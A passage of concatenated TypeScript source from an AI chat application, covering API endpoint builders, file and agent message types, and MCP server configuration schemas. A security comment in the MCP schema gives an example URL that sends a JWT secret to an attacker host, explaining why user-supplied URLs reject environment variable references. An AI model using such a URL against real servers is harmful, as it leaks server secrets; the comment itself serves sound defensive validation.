`${roles()}/${roleName.toLowerCase()}`;\nexport const updatePromptPermissions = (roleName: string) => `${getRole(roleName)}/prompts`;\nexport const updateMemoryPermissions = (roleName: string) => `${getRole(roleName)}/memories`;\nexport const updateAgentPermissions = (roleName: string) => `${getRole(roleName)}/agents`;\nexport const updatePeoplePickerPermissions = (roleName: string) =>\n `${getRole(roleName)}/people-picker`;\nexport const updateMCPServersPermissions = (roleName: string) => `${getRole(roleName)}/mcp-servers`;\nexport const updateRemoteAgentsPermissions = (roleName: string) =>\n `${getRole(roleName)}/remote-agents`;\n\nexport const updateMarketplacePermissions = (roleName: string) =>\n `${getRole(roleName)}/marketplace`;\n\n/* Conversation Tags */\nexport const conversationTags = (tag?: string) =>\n `${BASE_URL}/api/tags${tag != null && tag ? `/${encodeURIComponent(tag)}` : ''}`;\n\nexport const conversationTagsList = (pageNumber: string, sort?: string, order?: string) =>\n `${conversationTags()}/list?pageNumber=${pageNumber}${sort ? `&sort=${sort}` : ''}${\n order ? `&order=${order}` : ''\n }`;\n\nexport const addTagToConversation = (conversationId: string) =>\n `${conversationTags()}/convo/${conversationId}`;\n\nexport const userTerms = () => `${BASE_URL}/api/user/terms`;\nexport const acceptUserTerms = () => `${BASE_URL}/api/user/terms/accept`;\nexport const banner = () => `${BASE_URL}/api/banner`;\n\n// Message Feedback\nexport const feedback = (conversationId: string, messageId: string) =>\n `${BASE_URL}/api/messages/${conversationId}/${messageId}/feedback`;\n\n// Two-Factor Endpoints\nexport const enableTwoFactor = () => `${BASE_URL}/api/auth/2fa/enable`;\nexport const verifyTwoFactor = () => `${BASE_URL}/api/auth/2fa/verify`;\nexport const confirmTwoFactor = () => `${BASE_URL}/api/auth/2fa/confirm`;\nexport const disableTwoFactor = () => `${BASE_URL}/api/auth/2fa/disable`;\nexport const regenerateBackupCodes = () => `${BASE_URL}/api/auth/2fa/backup/regenerate`;\nexport const verifyTwoFactorTemp = () => `${BASE_URL}/api/auth/2fa/verify-temp`;\n\n/* Memories */\nexport const memories = () => `${BASE_URL}/api/memories`;\nexport const memory = (key: string) => `${memories()}/${encodeURIComponent(key)}`;\nexport const memoryPreferences = () => `${memories()}/preferences`;\n\nexport const searchPrincipals = (params: q.PrincipalSearchParams) => {\n const { q: query, limit, types } = params;\n let url = `${BASE_URL}/api/permissions/search-principals?q=${encodeURIComponent(query)}`;\n\n if (limit !== undefined) {\n url += `&limit=${limit}`;\n }\n\n if (types && types.length > 0) {\n url += `&types=${types.join(',')}`;\n }\n\n return url;\n};\n\nexport const getAccessRoles = (resourceType: ResourceType) =>\n `${BASE_URL}/api/permissions/${resourceType}/roles`;\n\nexport const getResourcePermissions = (resourceType: ResourceType, resourceId: string) =>\n `${BASE_URL}/api/permissions/${resourceType}/${resourceId}`;\n\nexport const updateResourcePermissions = (resourceType: ResourceType, resourceId: string) =>\n `${BASE_URL}/api/permissions/${resourceType}/${resourceId}`;\n\nexport const getEffectivePermissions = (resourceType: ResourceType, resourceId: string) =>\n `${BASE_URL}/api/permissions/${resourceType}/${resourceId}/effective`;\n\nexport const getAllEffectivePermissions = (resourceType: ResourceType) =>\n `${BASE_URL}/api/permissions/${resourceType}/effective/all`;\n\n// SharePoint Graph API Token\nexport const graphToken = (scopes: string) =>\n `${BASE_URL}/api/auth/graph-token?scopes=${encodeURIComponent(scopes)}`;\n","import { EToolResources } from './assistants';\n\nexport enum FileSources {\n local = 'local',\n firebase = 'firebase',\n azure = 'azure',\n azure_blob = 'azure_blob',\n openai = 'openai',\n s3 = 's3',\n vectordb = 'vectordb',\n execute_code = 'execute_code',\n mistral_ocr = 'mistral_ocr',\n azure_mistral_ocr = 'azure_mistral_ocr',\n vertexai_mistral_ocr = 'vertexai_mistral_ocr',\n text = 'text',\n document_parser = 'document_parser',\n}\n\nexport const checkOpenAIStorage = (source: string) =>\n source === FileSources.openai || source === FileSources.azure;\n\nexport enum FileContext {\n avatar = 'avatar',\n unknown = 'unknown',\n agents = 'agents',\n assistants = 'assistants',\n execute_code = 'execute_code',\n image_generation = 'image_generation',\n assistants_output = 'assistants_output',\n message_attachment = 'message_attachment',\n filename = 'filename',\n updatedAt = 'updatedAt',\n source = 'source',\n filterSource = 'filterSource',\n context = 'context',\n bytes = 'bytes',\n}\n\nexport type EndpointFileConfig = {\n disabled?: boolean;\n fileLimit?: number;\n fileSizeLimit?: number;\n totalSizeLimit?: number;\n supportedMimeTypes?: RegExp[];\n};\n\nexport type FileConfig = {\n endpoints: {\n [key: string]: EndpointFileConfig;\n };\n fileTokenLimit?: number;\n serverFileSizeLimit?: number;\n avatarSizeLimit?: number;\n clientImageResize?: {\n enabled?: boolean;\n maxWidth?: number;\n maxHeight?: number;\n quality?: number;\n };\n ocr?: {\n supportedMimeTypes?: RegExp[];\n };\n text?: {\n supportedMimeTypes?: RegExp[];\n };\n stt?: {\n supportedMimeTypes?: RegExp[];\n };\n checkType?: (fileType: string, supportedTypes: RegExp[]) => boolean;\n};\n\nexport type FileConfigInput = {\n endpoints?: {\n [key: string]: EndpointFileConfig;\n };\n serverFileSizeLimit?: number;\n avatarSizeLimit?: number;\n clientImageResize?: {\n enabled?: boolean;\n maxWidth?: number;\n maxHeight?: number;\n quality?: number;\n };\n ocr?: {\n supportedMimeTypes?: string[];\n };\n text?: {\n supportedMimeTypes?: string[];\n };\n stt?: {\n supportedMimeTypes?: string[];\n };\n checkType?: (fileType: string, supportedTypes: RegExp[]) => boolean;\n};\n\nexport type TFile = {\n _id?: string;\n __v?: number;\n user: string;\n conversationId?: string;\n message?: string;\n file_id: string;\n temp_file_id?: string;\n bytes: number;\n embedded: boolean;\n filename: string;\n filepath: string;\n object: 'file';\n type: string;\n usage: number;\n context?: FileContext;\n source?: FileSources;\n filterSource?: FileSources;\n width?: number;\n height?: number;\n expiresAt?: string | Date;\n preview?: string;\n metadata?: { fileIdentifier?: string };\n createdAt?: string | Date;\n updatedAt?: string | Date;\n};\n\nexport type TFileUpload = TFile & {\n temp_file_id: string;\n};\n\nexport type AvatarUploadResponse = {\n url: string;\n};\n\nexport type SpeechToTextResponse = {\n text: string;\n};\n\nexport type VoiceResponse = string[];\n\nexport type UploadMutationOptions = {\n onSuccess?: (data: TFileUpload, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type UploadAvatarOptions = {\n onSuccess?: (data: AvatarUploadResponse, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type SpeechToTextOptions = {\n onSuccess?: (data: SpeechToTextResponse, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type TextToSpeechOptions = {\n onSuccess?: (data: ArrayBuffer, variables: FormData, context?: unknown) => void;\n onMutate?: (variables: FormData) => void | Promise<unknown>;\n onError?: (error: unknown, variables: FormData, context?: unknown) => void;\n};\n\nexport type VoiceOptions = {\n onSuccess?: (data: VoiceResponse, variables: unknown, context?: unknown) => void;\n onMutate?: () => void | Promise<unknown>;\n onError?: (error: unknown, variables: unknown, context?: unknown) => void;\n};\n\nexport type DeleteFilesResponse = {\n message: string;\n result: Record<string, unknown>;\n};\n\nexport type BatchFile = {\n file_id: string;\n filepath: string;\n embedded: boolean;\n source: FileSources;\n temp_file_id?: string;\n};\n\nexport type DeleteFilesBody = {\n files: BatchFile[];\n agent_id?: string;\n assistant_id?: string;\n tool_resource?: EToolResources;\n};\n\nexport type DeleteMutationOptions = {\n onSuccess?: (data: DeleteFilesResponse, variables: DeleteFilesBody, context?: unknown) => void;\n onMutate?: (variables: DeleteFilesBody) => void | Promise<unknown>;\n onError?: (error: unknown, variables: DeleteFilesBody, context?: unknown) => void;\n};\n","/* eslint-disable @typescript-eslint/no-namespace */\nimport { StepTypes, ContentTypes, ToolCallTypes } from './runs';\nimport type { FunctionToolCall, SummaryContentPart } from './assistants';\nimport type { TAttachment, TPlugin } from 'src/schemas';\n\nexport namespace Agents {\n export type MessageType = 'human' | 'ai' | 'generic' | 'system' | 'function' | 'tool' | 'remove';\n\n export type ImageDetail = 'auto' | 'low' | 'high';\n\n export type ReasoningContentText = {\n type: ContentTypes.THINK;\n think: string;\n };\n\n export type MessageContentText = {\n type: ContentTypes.TEXT;\n text: string;\n tool_call_ids?: string[];\n };\n\n export type AgentUpdate = {\n type: ContentTypes.AGENT_UPDATE;\n agent_update: {\n index: number;\n runId: string;\n agentId: string;\n };\n };\n\n export type MessageContentImageUrl = {\n type: ContentTypes.IMAGE_URL;\n image_url: string | { url: string; detail?: ImageDetail };\n };\n\n export type MessageContentVideoUrl = {\n type: ContentTypes.VIDEO_URL;\n video_url: { url: string };\n };\n\n export type MessageContentInputAudio = {\n type: ContentTypes.INPUT_AUDIO;\n input_audio: {\n data: string;\n format: string;\n };\n };\n\n export type MessageContentComplex =\n | ReasoningContentText\n | AgentUpdate\n | MessageContentText\n | MessageContentImageUrl\n | MessageContentVideoUrl\n | MessageContentInputAudio\n | SummaryContentPart\n | ToolCallContent\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n | (Record<string, any> & { type?: ContentTypes | string })\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n | (Record<string, any> & { type?: never });\n\n export type MessageContent = string | MessageContentComplex[];\n\n /**\n * A call to a tool.\n */\n export type ToolCall = {\n /** Type (\"tool_call\") according to Assistants Tool Call Structure */\n type: ToolCallTypes.TOOL_CALL;\n /** The name of the tool to be called */\n name: string;\n\n /** The arguments to the tool call */\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n args?: string | Record<string, any>;\n\n /** If provided, an identifier associated with the tool call */\n id?: string;\n /** If provided, the output of the tool call */\n output?: string;\n /** Auth URL */\n auth?: string;\n /** Expiration time */\n expires_at?: number;\n };\n\n export type ToolEndEvent = {\n /** The Step Id of the Tool Call */\n id: string;\n /** The Completed Tool Call */\n tool_call?: ToolCall;\n /** The content index of the tool call */\n index: number;\n };\n\n export type ToolCallContent = {\n type: ContentTypes.TOOL_CALL;\n tool_call?: ToolCall;\n };\n\n /**\n * A chunk of a tool call (e.g., as part of a stream).\n * When merging ToolCallChunks (e.g., via AIMessageChunk.__add__),\n * all string attributes are concatenated. Chunks are only merged if their\n * values of `index` are equal and not None.\n *\n * @example\n * ```ts\n * const leftChunks = [\n * {\n * name: \"foo\",\n * args: '{\"a\":',\n * index: 0\n * }\n * ];\n *\n * const leftAIMessageChunk = new AIMessageChunk({\n * content: \"\",\n * tool_call_chunks: leftChunks\n * });\n *\n * const rightChunks = [\n * {\n * name: undefined,\n * args: '1}',\n * index: 0\n * }\n * ];\n *\n * const rightAIMessageChunk = new AIMessageChunk({\n * content: \"\",\n * tool_call_chunks: rightChunks\n * });\n *\n * const result = leftAIMessageChunk.concat(rightAIMessageChunk);\n * // result.tool_call_chunks is equal to:\n * // [\n * // {\n * // name: \"foo\",\n * // args: '{\"a\":1}'\n * // index: 0\n * // }\n * // ]\n * ```\n *\n * @property {string} [name] - If provided, a substring of the name of the tool to be called\n * @property {string} [args] - If provided, a JSON substring of the arguments to the tool call\n * @property {string} [id] - If provided, a substring of an identifier for the tool call\n * @property {number} [index] - If provided, the index of the tool call in a sequence\n */\n export type ToolCallChunk = {\n name?: string;\n\n args?: string;\n\n id?: string;\n\n index?: number;\n\n type?: 'tool_call_chunk';\n };\n\n /** Event names are of the format: on_[runnable_type]_(start|stream|end).\n\n Runnable types are one of:\n\n llm - used by non chat models\n chat_model - used by chat models\n prompt -- e.g., ChatPromptTemplate\n tool -- LangChain tools\n chain - most Runnables are of this type\n Further, the events are categorized as one of:\n\n start - when the runnable starts\n stream - when the runnable is streaming\n end - when the runnable ends\n start, stream and end are associated with slightly different data payload.\n\n Please see the documentation for EventData for more details. */\n export type EventName = string;\n export type RunStep = {\n type: StepTypes;\n id: string; // #new\n runId?: string; // #new\n agentId?: string; // #new\n index: number; // #new\n stepIndex?: number; // #new\n /** Group ID for parallel content - parts with same groupId are displayed in columns */\n groupId?: number; // #new\n stepDetails: StepDetails;\n summary?: SummaryContentPart;\n usage: null | object;\n };\n\n /** Content part for aggregated message content */\n export interface ContentPart {\n type: string;\n text?: string;\n [key: string]: unknown;\n }\n\n /** User message metadata for rebuilding submission on reconnect */\n export interface UserMessageMeta {\n messageId: string;\n parentMessageId?: string;\n conversationId?: string;\n text?: string;\n }\n\n /** State data sent to reconnecting clients */\n export interface ResumeState {\n runSteps: RunStep[];\n /** Aggregated content parts - can be MessageContentComplex[] or ContentPart[] */\n aggregatedContent?: MessageContentComplex[];\n userMessage?: UserMessageMeta;\n responseMessageId?: string;\n conversationId?: string;\n sender?: string;\n }\n /**\n * Represents a run step delta i.e. any changed fields on a run step during\n * streaming.\n */\n export interface RunStepDeltaEvent {\n /**\n * The identifier of the run step, which can be referenced in API endpoints.\n */\n id: string;\n /**\n * The delta containing the fields that have changed on the run step.\n */\n delta: ToolCallDelta;\n }\n export type StepDetails = MessageCreationDetails | ToolCallsDetails;\n export type MessageCreationDetails = {\n type: StepTypes.MESSAGE_CREATION;\n message_creation: {\n message_id: string;\n };\n };\n export type ToolCallsDetails = {\n type: StepTypes.TOOL_CALLS;\n tool_calls: AgentToolCall[];\n };\n export type ToolCallDelta = {\n type: StepTypes.TOOL_CALLS | string;\n tool_calls?: ToolCallChunk[];\n auth?: string;\n expires_at?: number;\n };\n export type AgentToolCall = FunctionToolCall | ToolCall;\n export interface ExtendedMessageContent {\n type?: string;\n text?: string;\n input?: string;\n index?: number;\n id?: string;\n name?: string;\n }\n /**\n * Represents a message delta i.e. any changed fields on a message during\n * streaming.\n */\n export interface MessageDeltaEvent {\n /**\n * The identifier of the message, which can be referenced in API endpoints.\n */\n id: string;\n /**\n * The delta containing the fields that have changed on the Message.\n */\n delta: MessageDelta;\n }\n /**\n * The delta containing the fields that have changed on the Message.\n */\n export interface MessageDelta {\n /**\n * The content of the message in array of text and/or images.\n */\n content?: Agents.MessageContentComplex[];\n }\n\n /**\n * Represents a reasoning delta i.e. any changed fields on a message during\n * streaming.\n */\n export interface ReasoningDeltaEvent {\n /**\n * The identifier of the message, which can be referenced in API endpoints.\n */\n id: string;\n\n /**\n * The delta containing the fields that have changed.\n */\n delta: ReasoningDelta;\n }\n\n /**\n * The reasoning delta containing the fields that have changed on the Message.\n */\n export interface ReasoningDelta {\n /**\n * The content of the message in array of text and/or images.\n */\n content?: MessageContentComplex[];\n }\n\n export type ReasoningDeltaUpdate = { type: ContentTypes.THINK; think: string };\n export type ContentType =\n | ContentTypes.THINK\n | ContentTypes.TEXT\n | ContentTypes.IMAGE_URL\n | ContentTypes.VIDEO_URL\n | ContentTypes.INPUT_AUDIO\n | string;\n\n export interface SummarizeStartEvent {\n agentId: string;\n provider: string;\n model?: string;\n messagesToRefineCount: number;\n summaryVersion: number;\n }\n\n export interface SummarizeDeltaEvent {\n id: string;\n delta: {\n summary: SummaryContentPart;\n };\n }\n\n export interface SummarizeCompleteEvent {\n id: string;\n agentId: string;\n summary?: SummaryContentPart;\n error?: string;\n }\n}\n\nexport type ToolCallResult = {\n user: string;\n toolId: string;\n result?: unknown;\n messageId: string;\n partIndex?: number;\n blockIndex?: number;\n conversationId: string;\n attachments?: TAttachment[];\n};\n\nexport enum AuthTypeEnum {\n ServiceHttp = 'service_http',\n OAuth = 'oauth',\n None = 'none',\n}\n\nexport enum AuthorizationTypeEnum {\n Bearer = 'bearer',\n Basic = 'basic',\n Custom = 'custom',\n}\n\nexport enum TokenExchangeMethodEnum {\n DefaultPost = 'default_post',\n BasicAuthHeader = 'basic_auth_header',\n}\n\nexport type Action = {\n action_id: string;\n type?: string;\n settings?: Record<string, unknown>;\n metadata: ActionMetadata;\n version: number | string;\n} & ({ assistant_id: string; agent_id?: never } | { assistant_id?: never; agent_id: string });\n\nexport type ActionMetadata = {\n api_key?: string;\n auth?: ActionAuth;\n domain?: string;\n privacy_policy_url?: string;\n raw_spec?: string;\n oauth_client_id?: string;\n oauth_client_secret?: string;\n};\n\nexport type ActionAuth = {\n authorization_type?: AuthorizationTypeEnum;\n custom_auth_header?: string;\n type?: AuthTypeEnum;\n authorization_content_type?: string;\n authorization_url?: string;\n client_url?: string;\n scope?: string;\n token_exchange_method?: TokenExchangeMethodEnum;\n};\n\nexport type ActionMetadataRuntime = ActionMetadata & {\n oauth_access_token?: string;\n oauth_refresh_token?: string;\n oauth_token_expires_at?: Date;\n};\n\nexport type MCP = {\n serverName: string;\n metadata: MCPMetadata;\n} & ({ assistant_id: string; agent_id?: never } | { assistant_id?: never; agent_id?: string });\n\nexport type MCPMetadata = Omit<ActionMetadata, 'auth'> & {\n name?: string;\n description?: string;\n url?: string;\n tools?: string[];\n auth?: MCPAuth;\n icon?: string;\n trust?: boolean;\n};\n\nexport type MCPAuth = ActionAuth;\n\nexport type AgentToolType = {\n tool_id: string;\n metadata: ToolMetadata;\n} & ({ assistant_id: string; agent_id?: never } | { assistant_id?: never; agent_id?: string });\n\nexport type ToolMetadata = TPlugin;\n\nexport interface BaseMessage {\n content: string;\n role?: string;\n [key: string]: unknown;\n}\n\nexport interface BaseGraphState {\n [key: string]: unknown;\n}\n\nexport type GraphEdge = {\n /** Agent ID, use a list for multiple sources */\n from: string | string[];\n /** Agent ID, use a list for multiple destinations */\n to: string | string[];\n description?: string;\n /** Can return boolean or specific destination(s) */\n condition?: (state: BaseGraphState) => boolean | string | string[];\n /** 'handoff' creates tools for dynamic routing, 'direct' creates direct edges, which also allow parallel execution */\n edgeType?: 'handoff' | 'direct';\n /**\n * For direct edges: Optional prompt to add when transitioning through this edge.\n * String prompts can include variables like {results} which will be replaced with\n * messages from startIndex onwards. When {results} is used, excludeResults defaults to true.\n *\n * For handoff edges: Description for the input parameter that the handoff tool accepts,\n * allowing the supervisor to pass specific instructions/context to the transferred agent.\n */\n prompt?: string | ((messages: BaseMessage[], runStartIndex: number) => string | undefined);\n /**\n * When true, excludes messages from startIndex when adding prompt.\n * Automatically set to true when {results} variable is used in prompt.\n */\n excludeResults?: boolean;\n /**\n * For handoff edges: Customizes the parameter name for the handoff input.\n * Defaults to \"instructions\" if not specified.\n * Only applies when prompt is provided for handoff edges.\n */\n promptKey?: string;\n};\n","import { z } from 'zod';\nimport { TokenExchangeMethodEnum } from './types/agents';\nimport { extractEnvVariable } from './utils';\n\nconst BaseOptionsSchema = z.object({\n /** Display name for the MCP server - only letters, numbers, and spaces allowed */\n title: z\n .string()\n .regex(/^[a-zA-Z0-9 ]+$/, 'Title can only contain letters, numbers, and spaces')\n .optional(),\n /** Description of the MCP server */\n description: z.string().optional(),\n /**\n * Controls whether the MCP server is initialized during application startup.\n * - true (default): Server is initialized during app startup and included in app-level connections\n * - false: Skips initialization at startup and excludes from app-level connections - useful for servers\n * requiring manual authentication (e.g., GitHub PAT tokens) that need to be configured through the UI after startup\n */\n startup: z.boolean().optional(),\n iconPath: z.string().optional(),\n timeout: z.number().optional(),\n /** Timeout (ms) for the long-lived SSE GET stream body before undici aborts it. Default: 300_000 (5 min). */\n sseReadTimeout: z.number().positive().optional(),\n initTimeout: z.number().optional(),\n /** Controls visibility in chat dropdown menu (MCPSelect) */\n chatMenu: z.boolean().optional(),\n /**\n * Controls server instruction behavior:\n * - undefined/not set: No instructions included (default)\n * - true: Use server-provided instructions\n * - string: Use custom instructions (overrides server-provided)\n */\n serverInstructions: z.union([z.boolean(), z.string()]).optional(),\n /**\n * Whether this server requires OAuth authentication\n * If not specified, will be auto-detected during construction\n */\n requiresOAuth: z.boolean().optional(),\n /**\n * OAuth configuration for SSE and Streamable HTTP transports\n * - Optional: OAuth can be auto-discovered on 401 responses\n * - Pre-configured values will skip discovery steps\n */\n oauth: z\n .object({\n /** OAuth authorization endpoint (optional - can be auto-discovered) */\n authorization_url: z.string().url().optional(),\n /** OAuth token endpoint (optional - can be auto-discovered) */\n token_url: z.string().url().optional(),\n /** OAuth client ID (optional - can use dynamic registration) */\n client_id: z.string().optional(),\n /** OAuth client secret (optional - can use dynamic registration) */\n client_secret: z.string().optional(),\n /** OAuth scopes to request */\n scope: z.string().optional(),\n /** OAuth redirect URI (defaults to /api/mcp/{serverName}/oauth/callback) */\n redirect_uri: z.string().url().optional(),\n /** Token exchange method */\n token_exchange_method: z.nativeEnum(TokenExchangeMethodEnum).optional(),\n /** Supported grant types (defaults to ['authorization_code', 'refresh_token']) */\n grant_types_supported: z.array(z.string()).optional(),\n /** Supported token endpoint authentication methods (defaults to ['client_secret_basic', 'client_secret_post']) */\n token_endpoint_auth_methods_supported: z.array(z.string()).optional(),\n /** Supported response types (defaults to ['code']) */\n response_types_supported: z.array(z.string()).optional(),\n /** Supported code challenge methods (defaults to ['S256', 'plain']) */\n code_challenge_methods_supported: z.array(z.string()).optional(),\n /** Skip code challenge validation and force S256 (useful for providers like AWS Cognito that support S256 but don't advertise it) */\n skip_code_challenge_check: z.boolean().optional(),\n /** OAuth revocation endpoint (optional - can be auto-discovered) */\n revocation_endpoint: z.string().url().optional(),\n /** OAuth revocation endpoint authentication methods supported (optional - can be auto-discovered) */\n revocation_endpoint_auth_methods_supported: z.array(z.string()).optional(),\n })\n .optional(),\n /** Custom headers to send with OAuth requests (registration, discovery, token exchange, etc.) */\n oauth_headers: z.record(z.string(), z.string()).optional(),\n /**\n * API Key authentication configuration for SSE and Streamable HTTP transports\n * - source: 'admin' means the key is provided by admin and shared by all users\n * - source: 'user' means each user provides their own key via customUserVars\n */\n apiKey: z\n .object({\n /** API key value (only for admin-provided mode, stored encrypted) */\n key: z.string().optional(),\n /** Whether key is provided by admin or each user */\n source: z.enum(['admin', 'user']),\n /** How to format the authorization header */\n authorization_type: z.enum(['basic', 'bearer', 'custom']),\n /** Custom header name when authorization_type is 'custom' */\n custom_header: z.string().optional(),\n })\n .optional(),\n customUserVars: z\n .record(\n z.string(),\n z.object({\n title: z.string(),\n description: z.string(),\n }),\n )\n .optional(),\n});\n\nexport const StdioOptionsSchema = BaseOptionsSchema.extend({\n type: z.literal('stdio').default('stdio'),\n /**\n * The executable to run to start the server.\n */\n command: z.string(),\n /**\n * Command line arguments to pass to the executable.\n */\n args: z.array(z.string()),\n /**\n * The environment to use when spawning the process.\n *\n * If not specified, the result of getDefaultEnvironment() will be used.\n * Environment variables can be referenced using ${VAR_NAME} syntax.\n */\n env: z\n .record(z.string(), z.string())\n .optional()\n .transform((env) => {\n if (!env) {\n return env;\n }\n\n const processedEnv: Record<string, string> = {};\n for (const [key, value] of Object.entries(env)) {\n processedEnv[key] = extractEnvVariable(value);\n }\n return processedEnv;\n }),\n /**\n * How to handle stderr of the child process. This matches the semantics of Node's `child_process.spawn`.\n *\n * @type {import('node:child_process').IOType | import('node:stream').Stream | number}\n *\n * The default is \"inherit\", meaning messages to stderr will be printed to the parent process's stderr.\n */\n stderr: z\n .union([z.enum(['pipe', 'ignore', 'inherit']), z.number().int().nonnegative()])\n .optional(),\n});\n\nexport const WebSocketOptionsSchema = BaseOptionsSchema.extend({\n type: z.literal('websocket').default('websocket'),\n url: z\n .string()\n .transform((val: string) => extractEnvVariable(val))\n .pipe(z.string().url())\n .refine(\n (val: string) => {\n const protocol = new URL(val).protocol;\n return protocol === 'ws:' || protocol === 'wss:';\n },\n {\n message: 'WebSocket URL must start with ws:// or wss://',\n },\n ),\n});\n\nexport const SSEOptionsSchema = BaseOptionsSchema.extend({\n type: z.literal('sse').default('sse'),\n headers: z.record(z.string(), z.string()).optional(),\n url: z\n .string()\n .transform((val: string) => extractEnvVariable(val))\n .pipe(z.string().url())\n .refine(\n (val: string) => {\n const protocol = new URL(val).protocol;\n return protocol !== 'ws:' && protocol !== 'wss:';\n },\n {\n message: 'SSE URL must not start with ws:// or wss://',\n },\n ),\n});\n\nexport const StreamableHTTPOptionsSchema = BaseOptionsSchema.extend({\n type: z.union([z.literal('streamable-http'), z.literal('http')]),\n headers: z.record(z.string(), z.string()).optional(),\n url: z\n .string()\n .transform((val: string) => extractEnvVariable(val))\n .pipe(z.string().url())\n .refine(\n (val: string) => {\n const protocol = new URL(val).protocol;\n return protocol !== 'ws:' && protocol !== 'wss:';\n },\n {\n message: 'Streamable HTTP URL must not start with ws:// or wss://',\n },\n ),\n});\n\nexport const MCPOptionsSchema = z.union([\n StdioOptionsSchema,\n WebSocketOptionsSchema,\n SSEOptionsSchema,\n StreamableHTTPOptionsSchema,\n]);\n\nexport const MCPServersSchema = z.record(z.string(), MCPOptionsSchema);\n\nexport type MCPOptions = z.infer<typeof MCPOptionsSchema>;\n\n/**\n * Helper to omit server-managed fields that should not come from UI\n */\nconst omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T) =>\n schema.omit({\n startup: true,\n timeout: true,\n sseReadTimeout: true,\n initTimeout: true,\n chatMenu: true,\n serverInstructions: true,\n requiresOAuth: true,\n customUserVars: true,\n oauth_headers: true,\n });\n\nconst envVarPattern = /\\$\\{[^}]+\\}/;\nconst isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);\nconst isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);\n\n/**\n * Builds a URL schema for user input that rejects ${VAR} env variable patterns\n * and validates protocol constraints without resolving environment variables.\n */\nconst userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>\n z\n .string()\n .refine((val) => !envVarPattern.test(val), {\n message: 'Environment variable references are not allowed in URLs',\n })\n .pipe(z.string().url())\n .refine(protocolCheck, { message });\n\n/**\n * MCP Server configuration that comes from UI/API input only.\n * Omits server-managed fields like startup, timeout, customUserVars, etc.\n * Allows: title, description, url, iconPath, oauth (user credentials)\n *\n * SECURITY: Stdio transport is intentionally excluded from user input.\n * Stdio allows arbitrary command execution and should only be configured\n * by administrators via the YAML config file (librechat.yaml).\n * Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.\n *\n * SECURITY: URL fields use userUrlSchema instead of the admin schemas'\n * extractEnvVariable transform to prevent env variable exfiltration\n * through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).\n * Protocol checks use positive allowlists (http(s) / ws(s)) to block\n * file://, ftp://, javascript:, and other non-network schemes.\n */\nexport const MCPServerUserInputSchema = z.union([\n omitServerManagedFields(WebSocketOptionsSchema).extend({\n url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),\n }),\n omitServerManagedFields(SSEOptionsSchema).extend({\n url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),\n }),\n omitServerManagedFields(StreamableHTTPOptionsSchema).extend({\n url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),\n }),\n]);\n\nexport type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;\n","import { z } from 'zod';\nimport type { ZodError } from 'zod';\nimport type { TEndpointsConfig, TModelsConfig, TConfig } from './types';\nimport { EModelEndpoint, eModelEndpointSchema, isAgentsEndpoint } from './schemas';\nimport { ComponentTypes, SettingTypes, OptionTypes } from './generate';\nimport { specsConfigSchema, TSpecsConfig } from './models';\nimport { fileConfigSchema } from './file-config';\nimport { apiBaseUrl } from './api-endpoints';\nimport { FileSources } from './types/files';\nimport { MCPServersSchema } from './mcp';\n\nexport const defaultSocialLogins = ['google', 'facebook', 'openid', 'github', 'discord', 'saml'];\n\nexport const defaultRetrievalModels = [\n 'gpt-4o',\n 'o1-preview-2024-09-12',\n 'o1-preview',\n 'o1-mini-2024-09-12',\n 'o1-mini',\n 'o3-mini',\n 'chatgpt-4o-latest',\n 'gpt-4o-2024-05-13',\n 'gpt-4o-2024-08-06',\n 'gpt-4o-mini',\n 'gpt-4o-mini-2024-07-18',\n 'gpt-4-turbo-preview',\n 'gpt-3.5-turbo-0125',\n 'gpt-4-0125-preview',\n 'gpt-4-1106-preview',\n 'gpt-3.5-turbo-1106',\n 'gpt-3.5-turbo-0125',\n 'gpt-4-turbo',\n 'gpt-4-0125',\n 'gpt-4-1106',\n];\n\nexport const excludedKeys = new Set([\n 'conversationId',\n 'title',\n 'iconURL',\n 'greeting',\n 'endpoint',\n 'endpointType',\n 'createdAt',\n 'updatedAt',\n 'expiredAt',\n 'messages',\n 'isArchived',\n 'tags',\n 'user',\n '__v',\n '_id',\n 'tools',\n 'model',\n 'files',\n 'spec',\n 'disableParams',\n]);\n\nexport enum SettingsViews {\n default = 'default',\n advanced = 'advanced',\n}\n\nexport const fileSourceSchema = z.nativeEnum(FileSources);\n\nexport const fileStrategiesSchema = z\n .object({\n default: fileSourceSchema.optional(),\n avatar: fileSourceSchema.optional(),\n image: fileSourceSchema.optional(),\n document: fileSourceSchema.optional(),\n })\n .optional();\n\n// Helper type to extract the shape of the Zod object schema\ntype SchemaShape<T> = T extends z.ZodObject<infer U> ? U : never;\n\n// Helper type to determine the default value or undefined based on whether the field has a default\ntype DefaultValue<T> =\n T extends z.ZodDefault<z.ZodTypeAny> ? ReturnType<T['_def']['defaultValue']> : undefined;\n\n// Extract default values or undefined from the schema shape\ntype ExtractDefaults<T> = {\n [P in keyof T]: DefaultValue<T[P]>;\n};\n\nexport type SchemaDefaults<T> = ExtractDefaults<SchemaShape<T>>;\n\nexport type TConfigDefaults = SchemaDefaults<typeof configSchema>;\n\nexport function getSchemaDefaults<Schema extends z.AnyZodObject>(\n schema: Schema,\n): ExtractDefaults<SchemaShape<Schema>> {\n const shape = schema.shape;\n const entries = Object.entries(shape).map(([key, value]) => {\n if (value instanceof z.ZodDefault) {\n // Extract default value if it exists\n return [key, value._def.defaultValue()];\n }\n return [key, undefined];\n });\n\n // Create the object with the right types\n return Object.fromEntries(entries) as 